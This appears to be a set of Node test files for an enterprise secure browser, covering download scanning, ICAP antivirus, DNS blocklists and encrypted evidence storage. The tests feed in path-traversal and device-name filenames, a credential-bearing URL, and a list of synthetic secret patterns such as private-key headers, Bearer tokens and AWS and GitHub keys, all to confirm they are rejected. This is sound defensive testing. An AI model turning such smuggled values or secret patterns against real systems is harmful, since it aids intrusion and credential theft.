test('diagnostics bounded queues expire old records and never repeat failed security operations',{timeout:10000},async t=>{const {requests,endpoint}=await collector(t),diagnostics=createDiagnostics();t.after(()=>diagnostics.shutdown());diagnostics.configure({...config(endpoint),maxQueueSize:16,maxRecordAgeMs:1000});await diagnostics.span('browser.request',{requestType:'xhr'},async()=>{});await delay(1100);await diagnostics.flush();assert.equal(requests.length,0,'Expired diagnostic record exported');diagnostics.configure({...config(endpoint),maxQueueSize:16});for(let i=0;i<50;i++)diagnostics.event('browser.request',{requestType:'xhr'});await diagnostics.flush();assert.ok(logs(requests).length<=50);for(const request of requests)if(request.path.endsWith('/logs'))assert.ok(logs([request]).length<=16,'Export batch exceeded bounded queue');let calls=0;diagnostics.configure({...config(endpoint),endpoint:'http://127.0.0.1:1',exportTimeoutMs:250});assert.equal(await diagnostics.span('browser.request',{},async()=>{calls++;return 'security decision';}),'security decision');await diagnostics.flush();assert.equal(calls,1);assert.ok(diagnostics.status().failedExports>=1);});
|
||||
test('diagnostic attributes are typed and never invoke hostile getters',()=>{const input={operation:'read',sessionId:'not-a-uuid',status:'ok',secret:'never',bytes:32};Object.defineProperty(input,'prompt',{enumerable:true,get(){throw Error('getter called');}});assert.deepEqual(attributes(input),{'safetynet.operation':'read','safetynet.status':'ok','safetynet.bytes':32});});
|
||||
test('OTLP redirects do not forward diagnostics and zero sampling suppresses records',{timeout:10000},async t=>{const {requests,endpoint}=await collector(t);const redirect=createServer((_req,res)=>{res.statusCode=307;res.setHeader('location',endpoint+'/v1/traces');res.end('redirect');}).listen(0,'127.0.0.1');await new Promise(r=>redirect.once('listening',r));t.after(()=>new Promise(r=>{redirect.closeAllConnections();redirect.close(r);}));const diagnostics=createDiagnostics();t.after(()=>diagnostics.shutdown());diagnostics.configure(config(`http://127.0.0.1:${redirect.address().port}`));await diagnostics.span('browser.navigation',{},async()=>{});await diagnostics.flush();assert.equal(requests.length,0,'Collector redirect received diagnostic payload');assert.ok(diagnostics.status().failedExports>=1);diagnostics.configure({...config(endpoint),sampleRate:0,debugSampleRate:0});await diagnostics.span('browser.ipc',{operation:'state'},async()=>{assert.deepEqual(diagnostics.correlation(),{});diagnostics.event('browser.security',{decision:'block'});});await diagnostics.flush();assert.equal(requests.length,0);});
|
||||
@@ -0,0 +1,10 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import {defaultPolicy} from '../packages/core/policy.mjs';
|
||||
import {dnsAddressBlocked} from '../packages/core/security.mjs';
|
||||
test('IPv4-mapped IPv6 cannot bypass blocked destination IPs',()=>{
|
||||
const p=defaultPolicy();p.security.dns.blockedIPs=['127.0.0.2'];
|
||||
for(const ip of ['127.0.0.2','::ffff:127.0.0.2','0:0:0:0:0:ffff:7f00:2'])assert.equal(dnsAddressBlocked(ip,p),true);
|
||||
assert.equal(dnsAddressBlocked('::ffff:127.0.0.3',p),false);
|
||||
p.security.dns.blockedIPs=['::ffff:7f00:2'];assert.equal(dnsAddressBlocked('127.0.0.2',p),true);
|
||||
});
|
||||
@@ -0,0 +1,38 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import {createHash} from 'node:crypto';
|
||||
import {createRequire} from 'node:module';
|
||||
const {createDownloadGate,filename}=createRequire(import.meta.url)('../apps/browser/download-gate.cjs');
|
||||
function setup(overrides={}){
|
||||
const calls=[],bytes=Buffer.from('benign download'),context={ready:true,webContentsId:5,policy:{version:1,browser:{allowDownloads:true},security:{yara:{enabled:true,rules:[{}],maxScanBytes:1024}}}};
|
||||
const gate=createDownloadGate({getContext:()=>context,isCurrent:()=>true,fetchResponse:async()=>new Response(bytes),scan:async b=>{calls.push('scan');return{decision:'allow',coverage:{complete:true},sha256:createHash('sha256').update(b).digest('hex')};},choosePath:async()=>{calls.push('dialog');return 'selected';},writeFile:async(_path,data)=>{calls.push('write');assert.deepEqual(data,bytes);},audit:async kind=>calls.push(kind),...overrides});
|
||||
return{gate,calls,context,input:{url:'https://example.com/file',name:'safe.bin',method:'GET',webContentsId:5}};
|
||||
}
|
||||
test('downloads never ask or write before scan allows exact bytes',async()=>{const {gate,input,calls}=setup();assert.equal((await gate(input)).released,true);assert.ok(calls.indexOf('scan')<calls.indexOf('dialog'));assert.ok(calls.indexOf('dialog')<calls.indexOf('write'));});
|
||||
test('matched malware cannot reach destination filesystem',async()=>{const {gate,input,calls}=setup({scan:async()=>({decision:'block',ruleId:'malware'})});assert.equal((await gate(input)).released,false);assert.equal(calls.includes('write'),false);assert.equal(calls.includes('dialog'),false);});
|
||||
test('scanner absence, changed policy, wrong digest and POST fail closed',async()=>{
|
||||
for(const overrides of [{scan:async()=>{throw Error('unavailable');}},{isCurrent:()=>false},{scan:async()=>({decision:'allow',coverage:{complete:true},sha256:'wrong'})}]){const {gate,input,calls}=setup(overrides);assert.equal((await gate(input)).released,false);assert.equal(calls.includes('write'),false);}
|
||||
const {gate,input,calls}=setup();assert.equal((await gate({...input,method:'POST'})).released,false);assert.equal(calls.includes('write'),false);
|
||||
});
|
||||
test('oversized responses are denied before scanning and write',async()=>{const {gate,input,calls}=setup({fetchResponse:async()=>new Response(Buffer.alloc(2048))});assert.equal((await gate(input)).released,false);assert.equal(calls.includes('scan'),false);assert.equal(calls.includes('write'),false);});
|
||||
test('filename cannot introduce device names, traversal or ADS',()=>{assert.equal(filename('CON'),'download.bin');assert.equal(filename('C:\\secret\\a:payload.exe'),'a_payload.exe');assert.equal(filename('../safe.txt'),'safe.txt');});
|
||||
|
||||
test('download captures the originating tab rather than the active tab',async()=>{
|
||||
let requested;const f=setup({getContext:id=>{requested=id;return f.context;}});
|
||||
assert.equal((await f.gate(f.input)).released,true);assert.equal(requested,5);
|
||||
const missing=setup({getContext:()=>null,fetchResponse:async()=>{throw Error('Must not fetch unknown origin');}});
|
||||
assert.equal((await missing.gate(missing.input)).reason,'unmanaged-download');
|
||||
});
|
||||
test('closing the originating tab while scanning prevents dialog and write',async()=>{
|
||||
let current=true;const f=setup({isCurrent:()=>current,scan:async bytes=>{current=false;return {decision:'allow',coverage:{complete:true},sha256:createHash('sha256').update(bytes).digest('hex')};}});
|
||||
assert.equal((await f.gate(f.input)).reason,'policy-changed');assert.equal(f.calls.includes('dialog'),false);assert.equal(f.calls.includes('write'),false);
|
||||
});
|
||||
test('configured ICAP can replace local antivirus while its bound size limit remains enforced',async()=>{const {gate,input,context,calls}=setup();context.policy.security.yara.enabled=false;context.policy.enterprise={icap:{enabled:true,scanDownloads:true,maxBytes:1024}};assert.equal((await gate(input)).released,true);assert.ok(calls.includes('write'));const f=setup();f.context.policy.security.yara.enabled=false;f.context.policy.enterprise={icap:{enabled:true,scanDownloads:true,maxBytes:5}};assert.equal((await f.gate(f.input)).released,false);assert.equal(f.calls.includes('scan'),false);});
|
||||
test('magic-byte executable and mismatch blocks precede scanner, dialog and OS write',async()=>{
|
||||
for(const setting of [{blockedTypes:['pe']},{blockExtensionMismatch:true},{blockMimeMismatch:true}]){
|
||||
const f=setup({fetchResponse:async()=>new Response(Buffer.from('MZbinary'),{headers:{'content-type':'image/png'}})});f.context.policy.fileTransfers={download:setting};const v=await f.gate({...f.input,name:'photo.png'});assert.equal(v.released,false);assert.equal(f.calls.includes('scan'),false);assert.equal(f.calls.includes('write'),false);
|
||||
}
|
||||
});
|
||||
test('no-scanner downloads require explicit central approval and carry actual safe forensic facts',async()=>{
|
||||
const f=setup();f.context.policy.security.yara.enabled=false;assert.equal((await f.gate(f.input)).reason,'malware-scanner-required');f.context.policy.fileTransfers={download:{allowWithoutMalwareScanner:true}};const v=await f.gate(f.input);assert.equal(v.released,true);assert.equal(v.facts.detectedType,'text');assert.equal(v.facts.size,15);
|
||||
});
|
||||
@@ -0,0 +1,29 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import { defaultPolicy, PolicySchema } from '../packages/core/policy.mjs';
|
||||
import { EnterpriseSchema, enterpriseReadiness } from '../packages/core/enterprise.mjs';
|
||||
import { previewPreset, policyPresets } from '../packages/core/presets.mjs';
|
||||
test('enterprise defaults preserve Windows network and optional integration behavior',()=>{const p=defaultPolicy();assert.equal(p.enterprise.dns.mode,'system');assert.equal(p.enterprise.icap.enabled,false);assert.equal(p.enterprise.vpn.required,false);assert.equal(p.proxy.mode,'system');});
|
||||
test('enterprise integration rejects invalid service trust, credentials and ambiguous settings',()=>{for(const input of [{icap:{enabled:true}},{icap:{enabled:true,url:'icaps://user:[email protected]/scan'}},{icap:{enabled:true,url:'icap://example.test/scan'}},{dns:{mode:'secure'}},{dns:{templates:['https://dns.test/query']}},{vpn:{required:true}},{icap:{enabled:true,url:'icaps://av.test/scan',failClosed:false}},{unknown:true}])assert.equal(EnterpriseSchema.safeParse(input).success,false);assert.equal(EnterpriseSchema.safeParse({icap:{enabled:true,url:'icap://127.0.0.1/scan'}}).success,true);assert.equal(EnterpriseSchema.safeParse({icap:{enabled:true,url:'icap://av.test/scan',allowInsecureTransport:true}}).success,true);});
|
||||
test('presets are additive and preserve enterprise infrastructure and content protection',()=>{const p=defaultPolicy();p.proxy={mode:'fixed_servers',rules:'proxy.test:8080',bypass:'internal.test'};p.enterprise=EnterpriseSchema.parse({dns:{mode:'secure',templates:['https://dns.test/dns-query']},vpn:{required:true,interfaceNames:['CorpVPN']},icap:{enabled:true,url:'icaps://av.test/scan'}});p.dlp.rules.push({id:'reference',label:'Secret',kind:'literal',value:'confidential',action:'block'});p.security.clipboard.allowPaste=false;for(const preset of policyPresets){const result=previewPreset(p,preset.id);assert.deepEqual(result.policy.proxy,p.proxy);assert.deepEqual(result.policy.enterprise,p.enterprise);assert.deepEqual(result.policy.dlp,p.dlp);assert.equal(result.policy.security.clipboard.allowPaste,false);assert.equal(result.policy.ai.enabled,false);assert.equal(result.policy.version,p.version);}assert.equal(p.browser.settings.visible,true);assert.equal(previewPreset(p,'restricted').policy.browser.settings.visible,false);});
|
||||
test('download readiness accepts external scanning without enabling local YARA',()=>{const p=defaultPolicy();p.browser.allowDownloads=true;p.enterprise.icap.enabled=true;p.enterprise.icap.url='icaps://av.test/scan';assert.equal(enterpriseReadiness(PolicySchema.parse(p)).find(r=>r.id==='downloads').state,'configured');p.enterprise.icap.scanDownloads=false;assert.equal(enterpriseReadiness(PolicySchema.parse(p)).find(r=>r.id==='downloads').state,'blocked');});
|
||||
import { createApp } from '../apps/server/app.mjs';
|
||||
import { openStore } from '../apps/server/store.mjs';
|
||||
import { mkdtempSync, rmSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join, resolve } from 'node:path';
|
||||
test('admin preset preview is authorized and cannot mutate published policy or audit history',async t=>{
|
||||
const directory=mkdtempSync(join(tmpdir(),'safetynet-enterprise-admin-')),store=openStore(directory),adminToken='test-only-enterprise-administrator-123456789';
|
||||
const server=createApp(store,{adminToken,publicUrl:'http://127.0.0.1',secure:false}).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));
|
||||
t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();assert.equal(resolve(directory).startsWith(resolve(tmpdir())),true);rmSync(directory,{recursive:true,force:true});});
|
||||
const url=`http://127.0.0.1:${server.address().port}`,policy=store.get('policy'),count=store.db.prepare('SELECT count(*) AS n FROM events').get().n;
|
||||
let response=await fetch(`${url}/api/admin/presets`);assert.equal(response.status,401);
|
||||
response=await fetch(`${url}/api/admin/presets/preview`,{method:'POST',headers:{authorization:`Bearer ${adminToken}`,'content-type':'application/json'},body:JSON.stringify({id:'restricted',policy})});assert.equal(response.status,200);const preview=await response.json();assert.equal(preview.policy.browser.settings.visible,false);assert.equal(store.get('policy').browser.settings.visible,true);assert.equal(store.get('policy').version,policy.version);assert.equal(store.db.prepare('SELECT count(*) AS n FROM events').get().n,count);
|
||||
response=await fetch(`${url}/api/admin/integrations`,{headers:{authorization:`Bearer ${adminToken}`}});assert.equal(response.status,200);assert.equal((await response.json()).readiness.length,6);
|
||||
});
|
||||
import managedSettings from '../apps/browser/managed-settings.cjs';
|
||||
test('managed AI preset preserves usable approved AI while narrowing existing agent permissions',()=>{
|
||||
const p=defaultPolicy();p.ai={...p.ai,enabled:true,model:'approved-model',endpointId:'corporate-gateway'};p.agents={...p.agents,enabled:true,allowSensitiveRead:true,scopes:['sessions','navigate','read','click','type','screenshot','ai']};p.browser.settings.lockedSections=['appearance'];
|
||||
const result=previewPreset(p,'managed-ai').policy;assert.deepEqual(result.ai,p.ai);assert.deepEqual(result.browser.settings.lockedSections,['appearance']);assert.equal(managedSettings.featureAllowed(managedSettings.settingsState({policy:result,ready:true}),'ai'),true);assert.deepEqual(result.agents.scopes,['sessions','navigate','ai']);assert.equal(result.agents.allowSensitiveRead,false);
|
||||
p.agents.scopes=['sessions'];p.browser.settings.lockedSections=['ai'];const narrow=previewPreset(p,'managed-ai').policy;assert.deepEqual(narrow.agents.scopes,['sessions']);assert.deepEqual(narrow.browser.settings.lockedSections,['ai']);assert.equal(managedSettings.featureAllowed(managedSettings.settingsState({policy:narrow,ready:true}),'ai'),false);
|
||||
});
|
||||
@@ -0,0 +1,28 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import net from 'node:net';
|
||||
import {createServer} from 'node:http';
|
||||
import {mkdtempSync,rmSync} from 'node:fs';
|
||||
import {tmpdir} from 'node:os';
|
||||
import {join} from 'node:path';
|
||||
import {createApp} from '../apps/server/app.mjs';
|
||||
import {openStore,digest} from '../apps/server/store.mjs';
|
||||
|
||||
test('central ICAP capability probe sends no content; gateway cannot bypass external scanning',async t=>{
|
||||
const directory=mkdtempSync(join(tmpdir(),'safetynet-enterprise-gateway-')),store=openStore(directory),adminToken='public-fixture-administrator-0123456789';
|
||||
const marker='PUBLIC_AV_TEST_MARKER';let scans=0,upstreamRequests=0,infectAnswer=false;const sockets=new Set();
|
||||
const icap=net.createServer(socket=>{sockets.add(socket);socket.once('close',()=>sockets.delete(socket));socket.on('error',()=>{});let input=Buffer.alloc(0),done=false;socket.on('data',chunk=>{input=Buffer.concat([input,chunk]);if(done||input.indexOf('\r\n\r\n')<0)return;const options=input.subarray(0,7).toString()==='OPTIONS';if(!options&&!input.subarray(-5).equals(Buffer.from('0\r\n\r\n')))return;done=true;if(options)return socket.end('ICAP/1.0 200 OK\r\nMethods: RESPMOD\r\nAllow: 204\r\nISTag: "fixture"\r\nEncapsulated: null-body=0\r\n\r\n');scans++;socket.end(input.includes(Buffer.from(marker))?'ICAP/1.0 200 OK\r\nEncapsulated: res-hdr=0, res-body=99\r\n\r\nHTTP/1.1 403 Forbidden':'ICAP/1.0 204 No Content\r\nISTag: "fixture"\r\n\r\n');});}).listen(0,'127.0.0.1');await new Promise(r=>icap.once('listening',r));
|
||||
const upstream=createServer((req,res)=>{upstreamRequests++;req.resume();res.setHeader('content-type','application/json');res.end(JSON.stringify({choices:[{message:{content:infectAnswer?marker:'Public safe answer'}}]}));}).listen(0,'127.0.0.1');await new Promise(r=>upstream.once('listening',r));
|
||||
const policy=store.get('policy');policy.ai={...policy.ai,enabled:true,trustMode:'local',model:'public-fixture-model'};policy.enterprise.icap={...policy.enterprise.icap,enabled:true,url:`icap://127.0.0.1:${icap.address().port}/av`,timeoutMs:1000};store.put('policy',policy);
|
||||
const config={publicUrl:'http://127.0.0.1',secure:false,adminToken,requirePQManagement:true,aiBaseUrl:`http://127.0.0.1:${upstream.address().port}`,aiModel:policy.ai.model,aiEndpointId:'default'};
|
||||
const server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));const base=`http://127.0.0.1:${server.address().port}`;
|
||||
t.after(async()=>{for(const socket of sockets)socket.destroy();for(const service of [server,upstream])service.closeAllConnections();await Promise.all([server,upstream,icap].map(service=>new Promise(r=>service.close(r))));store.db.close();assert.ok(directory.startsWith(join(tmpdir(),'safetynet-enterprise-gateway-')));rmSync(directory,{recursive:true,force:true});});
|
||||
async function api(route,body,token=adminToken){const response=await fetch(base+route,{method:'POST',headers:{authorization:`Bearer ${token}`,'content-type':'application/json'},body:JSON.stringify(body)});return {status:response.status,body:await response.json()};}
|
||||
const code='public-fixture-one-use-enrollment-code';store.db.prepare('INSERT INTO enrollments VALUES(?,?,?)').run(digest(code),Date.now()+60000,'public-user');const device=(await api('/api/device/enroll',{name:'public-device',platform:'win32',code},'')).body;
|
||||
assert.equal((await api('/api/admin/integrations/icap/probe',policy.enterprise.icap,device.token)).status,401);
|
||||
const probe=await api('/api/admin/integrations/icap/probe',policy.enterprise.icap);assert.equal(probe.status,200);assert.equal(probe.body.ready,true);assert.equal(probe.body.contentSent,false);assert.equal(scans,0);
|
||||
const blocked=await api('/api/device/ai',{prompt:marker},device.token);assert.equal(blocked.status,403);assert.equal(upstreamRequests,0);
|
||||
const allowed=await api('/api/device/ai',{prompt:'Public benign prompt'},device.token);assert.equal(allowed.status,200);assert.equal(allowed.body.answer,'Public safe answer');assert.equal(upstreamRequests,1);
|
||||
infectAnswer=true;const response=await api('/api/device/ai',{prompt:'Public second prompt'},device.token);assert.equal(response.status,403);assert.equal(Object.hasOwn(response.body,'answer'),false);
|
||||
const events=store.db.prepare('SELECT metadata FROM events').all();assert.equal(JSON.stringify(events).includes(marker),false);assert.equal(JSON.stringify(events).includes('Public benign prompt'),false);assert.ok(scans>=5);
|
||||
});
|
||||
@@ -0,0 +1,40 @@
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import {createHash} from 'node:crypto';
|
||||
import inspection from '../apps/browser/enterprise-inspection.cjs';
|
||||
const bytes=Buffer.from('public test document'),digest=createHash('sha256').update(bytes).digest('hex');
|
||||
const policy={enterprise:{icap:{enabled:true,scanUploads:true,scanDownloads:true,scanClipboard:true,scanAI:true}},security:{yara:{enabled:false}}};
|
||||
const allow=()=>({decision:'allow',ruleId:'icap-clean',engine:'icap',sha256:digest,bytes:bytes.length,coverage:{complete:true}});
|
||||
test('selected channels require exact complete scanner approval and preserve immutable source bytes',async()=>{
|
||||
for(const channel of ['upload','download','clipboard','ai']){
|
||||
const source=Buffer.from(bytes);let snapshot;
|
||||
const result=await inspection.scanEnterprise(source,policy,channel,async value=>{snapshot=value;assert.notEqual(value,source);assert.deepEqual(value,source);return allow();});
|
||||
assert.equal(result.decision,'allow');assert.deepEqual(source,bytes);assert.ok(snapshot.every(value=>value===0));
|
||||
for(const broken of [{...allow(),sha256:'wrong'},{...allow(),bytes:0},{...allow(),coverage:{complete:false}},{decision:'block',ruleId:'RAW COMPANY CONTENT'}])assert.equal((await inspection.scanEnterprise(source,policy,channel,async()=>broken)).decision,'block');
|
||||
}
|
||||
const result=await inspection.scanEnterprise(bytes,policy,'upload',async value=>{value.fill(120);return allow();});assert.equal(result.decision,'block');
|
||||
});
|
||||
test('disabled channel never calls external services and configured outages cannot fail open',async()=>{
|
||||
const disabled={...policy,enterprise:{icap:{...policy.enterprise.icap,scanClipboard:false}}};
|
||||
assert.equal((await inspection.scanEnterprise(bytes,disabled,'clipboard',()=>assert.fail())).decision,'allow');
|
||||
assert.equal((await inspection.scanEnterprise(bytes,policy,'clipboard',async()=>{throw Error('private scanner detail');})).ruleId,'icap-unavailable');
|
||||
assert.throws(()=>inspection.icapRequired(policy,'unsupported'));
|
||||
});
|
||||
test('external antivirus can scan downloads alone; every enabled scanner stays mandatory',async()=>{
|
||||
const dlp={inspect:async()=>({decision:'allow',coverage:{complete:true}})};
|
||||
assert.equal((await inspection.scanDownloadEnterprise(bytes,policy,dlp,async()=>allow())).decision,'allow');
|
||||
const both={...policy,security:{yara:{enabled:true}}};
|
||||
assert.equal((await inspection.scanDownloadEnterprise(bytes,both,null,()=>assert.fail())).decision,'block');
|
||||
const scanner={...dlp,scanDownload:async()=>({...allow(),engine:'yara'})};assert.equal((await inspection.scanDownloadEnterprise(bytes,both,scanner,async()=>allow())).decision,'allow');
|
||||
assert.equal((await inspection.scanDownloadEnterprise(bytes,both,scanner,async()=>({decision:'block',ruleId:'icap-threat'}))).ruleId,'icap-threat');
|
||||
assert.equal((await inspection.scanDownloadEnterprise(bytes,both,{...dlp,scanDownload:async()=>({...allow(),sha256:'wrong'})},()=>assert.fail())).ruleId,'yara-inspection-incomplete');
|
||||
assert.equal((await inspection.scanDownloadEnterprise(bytes,{...policy,enterprise:{icap:{enabled:false}}},null)).ruleId,'malware-scanner-required');
|
||||
});
|
||||
test('explicit no antivirus mode still requires complete DLP and never substitutes for an enabled failed scanner',async()=>{
|
||||
const p={...policy,enterprise:{icap:{enabled:false}},fileTransfers:{download:{allowWithoutMalwareScanner:true}}};
|
||||
assert.equal((await inspection.scanDownloadEnterprise(bytes,p,null)).ruleId,'download-dlp-unavailable');
|
||||
assert.equal((await inspection.scanDownloadEnterprise(bytes,p,{inspect:async()=>({decision:'allow'})})).ruleId,'download-dlp-incomplete');
|
||||
assert.equal((await inspection.scanDownloadEnterprise(bytes,p,{inspect:async()=>({decision:'block',ruleId:'company-secret'})})).ruleId,'company-secret');
|
||||
assert.equal((await inspection.scanDownloadEnterprise(bytes,p,{inspect:async()=>({decision:'allow',coverage:{complete:true}})})).decision,'allow');
|
||||
const mandatory={...p,security:{yara:{enabled:true}}};assert.equal((await inspection.scanDownloadEnterprise(bytes,mandatory,{inspect:async()=>({decision:'allow',coverage:{complete:true}})})).ruleId,'yara-unavailable');
|
||||
});
|
||||
@@ -0,0 +1,21 @@
|
||||
import test from 'node:test';import assert from 'node:assert/strict';import {mkdtempSync,writeFileSync,rmSync} from 'node:fs';import {tmpdir} from 'node:os';import {join} from 'node:path';import {randomBytes,randomUUID} from 'node:crypto';import {openStore,digest} from '../apps/server/store.mjs';import {createApp} from '../apps/server/app.mjs';
|
||||
async function fixture(t,{configured=true}={}){const dir=mkdtempSync(join(tmpdir(),'safetynet-evidence-')),keyFile=join(dir,'evidence.key');writeFileSync(keyFile,randomBytes(32));const store=openStore(dir),deviceToken='synthetic-device-evidence-credential-1234567890',id=randomUUID();store.db.prepare('INSERT INTO devices(id,token_hash,revoked) VALUES(?,?,0)').run(id,digest(deviceToken));const config={publicUrl:'http://127.0.0.1:4310',...(configured?{evidenceKeyFile:keyFile}:{})},server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(dir,{recursive:true,force:true});});const api=async(path,method='GET',body,role='device')=>{const credential=`synthetic-${role}-evidence-credential-1234567890`;if(role!=='device')store.db.prepare('INSERT OR REPLACE INTO sessions VALUES(?,?,?)').run(digest(credential),Date.now()+60000,JSON.stringify({sub:role,role}));const r=await fetch(`http://127.0.0.1:${server.address().port}${path}`,{method,headers:{...(role==='device'?{authorization:`Bearer ${deviceToken}`}:{cookie:`sn_session=${credential}`}),origin:config.publicUrl,'content-type':'application/json'},body:body?JSON.stringify(body):undefined});return {status:r.status,body:await r.json()};};const eventId=randomUUID();store.event(id,'clipboard.copy',{eventId,policyVersion:1});return {store,api,id,eventId,config};}
|
||||
const evidence=eventId=>({eventId,type:'interaction',payload:{pageUrl:'https://intranet.example/document',action:'copy',content:'Synthetic confidential engineering detail',sensitiveField:false}});
|
||||
test('recognizable credentials in free text, target labels, filenames and encoded paths never persist',async t=>{
|
||||
const {api,store,eventId}=await fixture(t);
|
||||
const values=['-----BEGIN PRIVATE KEY-----\nsynthetic','Bearer syntheticAuthorizationCredential123','Basic c3ludGhldGljOnBhc3N3b3Jk','password="synthetic-secret"','passwd=synthetic-secret','api_key: synthetic-secret','access-token=synthetic-secret','refresh_token=synthetic-secret','client_secret=synthetic-secret','sk-syntheticCredential1234567890','ghp_syntheticCredential1234567890','AKIAABCDEFGHIJKLMNOP','eyJsyntheticHeader.syntheticPayload.syntheticSignature'];
|
||||
for(const content of values){assert.equal((await api('/api/device/evidence','POST',{...evidence(eventId),payload:{...evidence(eventId).payload,content}})).status,400,content.split(/[=: ]/)[0]);assert.equal((await api('/api/device/evidence','POST',{...evidence(eventId),payload:{...evidence(eventId).payload,content:undefined,target:{tag:'button',label:content}}})).status,400);}
|
||||
assert.equal((await api('/api/device/evidence','POST',{...evidence(eventId),payload:{...evidence(eventId).payload,pageUrl:'https://example.test/password%3Dsynthetic-secret'}})).status,400);
|
||||
const downloadEvent=randomUUID();store.event(store.db.prepare('SELECT id FROM devices LIMIT 1').get().id,'download.scan',{eventId:downloadEvent});
|
||||
assert.equal((await api('/api/device/evidence','POST',{eventId:downloadEvent,type:'download',payload:{sourceUrl:'https://example.test/download',name:'api_key=synthetic-secret.txt',sha256:'a'.repeat(64),bytes:10,mime:'text/plain',decision:'block'}})).status,400);
|
||||
assert.equal(store.db.prepare('SELECT COUNT(*) n FROM protected_evidence').get().n,0);
|
||||
assert.equal((await api('/api/device/evidence','POST',evidence(eventId))).status,201);
|
||||
});
|
||||
test('encrypted evidence only decrypts for explicit admin permission and audited purpose',async t=>{const {api,store,eventId}=await fixture(t),body=evidence(eventId),created=await api('/api/device/evidence','POST',body);assert.equal(created.status,201);const row=store.db.prepare('SELECT * FROM protected_evidence').get();assert.equal(Buffer.from(row.ciphertext).includes(Buffer.from(body.payload.content)),false);for(const role of ['operator','auditor'])assert.equal((await api(`/api/admin/evidence/${created.body.id}?reason=investigation`,'GET',undefined,role)).status,403);assert.equal((await api(`/api/admin/evidence/${created.body.id}`,'GET',undefined,'admin')).status,400);const got=await api(`/api/admin/evidence/${created.body.id}?reason=incident-response`,'GET',undefined,'admin');assert.equal(got.status,200);assert.equal(got.body.payload.content,body.payload.content);const audit=store.db.prepare("SELECT metadata FROM events WHERE kind='evidence.accessed'").get();assert.equal(JSON.parse(audit.metadata).reason,'incident-response');assert.equal(store.db.prepare('SELECT metadata FROM events').all().some(r=>r.metadata.includes(body.payload.content)),false);assert.equal((await api('/api/device/evidence','POST',body)).status,409);});
|
||||
test('unknown credentials, password fields, token fields, unowned events and credential URLs reject',async t=>{const {api,eventId}=await fixture(t);for(const extra of [{password:'synthetic'},{authorization:'Bearer synthetic'},{sensitiveField:true},{pageUrl:'https://user:[email protected]/'},{pageUrl:'https://example.test/?token=secret'}])assert.equal((await api('/api/device/evidence','POST',{...evidence(eventId),payload:{...evidence(eventId).payload,...extra}})).status,400);assert.equal((await api('/api/device/evidence','POST',evidence(randomUUID()))).status,404);assert.equal((await api('/api/device/evidence','POST',{...evidence(eventId),type:'download'})).status,400);});
|
||||
test('missing key fails closed and ciphertext tampering fails authentication',async t=>{const disabled=await fixture(t,{configured:false});assert.equal((await disabled.api('/api/device/evidence','POST',evidence(disabled.eventId))).status,503);const {api,store,eventId}=await fixture(t),created=await api('/api/device/evidence','POST',evidence(eventId));store.db.prepare('UPDATE protected_evidence SET expires_at=?').run('2099-01-01T00:00:00.000Z');assert.equal((await api(`/api/admin/evidence/${created.body.id}?reason=investigation`,'GET',undefined,'admin')).status,500);});
|
||||
test('audit failure rolls back evidence and prevents plaintext response',async t=>{const {api,store,eventId}=await fixture(t),emit=store.event;store.event=()=>{throw Error('synthetic audit failure');};assert.equal((await api('/api/device/evidence','POST',evidence(eventId))).status,500);assert.equal(store.db.prepare('SELECT COUNT(*) n FROM protected_evidence').get().n,0);store.event=emit;const created=await api('/api/device/evidence','POST',evidence(eventId));store.event=()=>{throw Error('synthetic audit failure');};const got=await api(`/api/admin/evidence/${created.body.id}?reason=investigation`,'GET',undefined,'admin');assert.equal(got.status,500);assert.equal(got.body.payload,undefined);store.event=emit;});
|
||||
test('retention preserves encrypted evidence source events',async t=>{const {api,store,eventId}=await fixture(t);await api('/api/device/evidence','POST',evidence(eventId));store.db.prepare('UPDATE events SET time=?').run('2020-01-01T00:00:00.000Z');const {pruneAuditEvents}=await import('../apps/server/audit-retention.mjs');pruneAuditEvents(store,{days:1,exportedThrough:1000,dryRun:false});assert.ok(store.db.prepare("SELECT id FROM events WHERE kind='clipboard.copy'").get());});
|
||||
test('download facts roundtrip while a different enrolled device cannot attach evidence',async t=>{const {api,store,id}=await fixture(t),eventId=randomUUID();store.event(id,'download.released',{eventId});const payload={sourceUrl:'https://downloads.example/package.exe',name:'package.exe',sha256:'a'.repeat(64),bytes:1024,mime:'application/octet-stream',decision:'allow'};const result=await api('/api/device/evidence','POST',{eventId,type:'download',payload});assert.equal(result.status,201);const detail=await api(`/api/admin/evidence/${result.body.id}?reason=compliance`,'GET',undefined,'admin');assert.deepEqual(detail.body.payload,payload);const other=randomUUID();store.db.prepare('INSERT INTO devices(id,revoked) VALUES(?,0)').run(other);const otherEvent=randomUUID();store.event(other,'clipboard.copy',{eventId:otherEvent});assert.equal((await api('/api/device/evidence','POST',evidence(otherEvent))).status,404);});
|
||||
test('expired access is denied; incident legal hold does not bypass ciphertext integrity',async t=>{const {api,store,eventId}=await fixture(t),created=await api('/api/device/evidence','POST',evidence(eventId));store.db.prepare('UPDATE protected_evidence SET expires_at=?').run('2000-01-01T00:00:00.000Z');assert.equal((await api(`/api/admin/evidence/${created.body.id}?reason=investigation`,'GET',undefined,'admin')).status,410);const source=store.db.prepare('SELECT source_event_id FROM protected_evidence').get().source_event_id,incident=await api('/api/admin/incidents','POST',{eventId:source},'admin');assert.equal(incident.status,201);assert.equal((await api(`/api/admin/evidence/${created.body.id}?reason=incident-response`,'GET',undefined,'admin')).status,500);});
|
||||
